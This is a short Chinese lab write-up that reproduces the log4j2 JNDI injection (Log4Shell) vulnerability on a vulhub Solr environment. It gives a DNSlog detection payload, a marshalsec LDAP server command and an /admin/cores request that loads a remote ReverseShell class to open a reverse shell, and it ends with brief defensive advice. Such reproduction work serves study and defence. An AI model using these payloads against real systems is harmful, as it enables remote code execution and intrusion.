1 环境搭建
基于vulhub环境搭建
# docker-compose up -d
访问8983端口判断是否成功
2 漏洞原理
log4j2:apache log4j2为开源日志库,用于记录java日志
log4j2提供函数logger.info、logger.error等函数支持{}传参,如logger.info("{}", input)
,会将input的内容解析并显示(类似SSTI),当传入input为${java:version}
时,返回的并不是字符串本身,而是java版本
基于上述机制,当input为用户可控,且未进行任何无害化处理时,可能造成jndi注入漏洞,具体而言,当传入${jndi:rmi://}或${jndi:ldap://}
时,可能会远程加载恶意类,调用其中代码并执行
jndi注入讲解可见fastjson复现篇
由于fastjson篇使用了rmi,本篇使用ldap
3 漏洞复现
0x01 漏洞探测
漏洞点在/admin/cores下,可以传递参数action
首先进行漏洞探测,payload为${jndi:ldap://${java:version}.xxx.dnslog.cn},可以看到,正确回显java版本,证明漏洞存在,且可利用
0x02 jndi远程加载部署
反弹shell代码见fastjson篇
使用marshalsec开启LDAP服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://ip/#ReverseShell' 9999
kali侦听反弹shell端口
发送payload为/admin/cores?action=${jndi:ldap://ip:9999/ReverseShell},LDAP和http请求分别如下,成功反弹shell
4 防御
升级log4j2版本(2.15.0-rc1以上)
过滤jndi、rmi、ldap等敏感字符串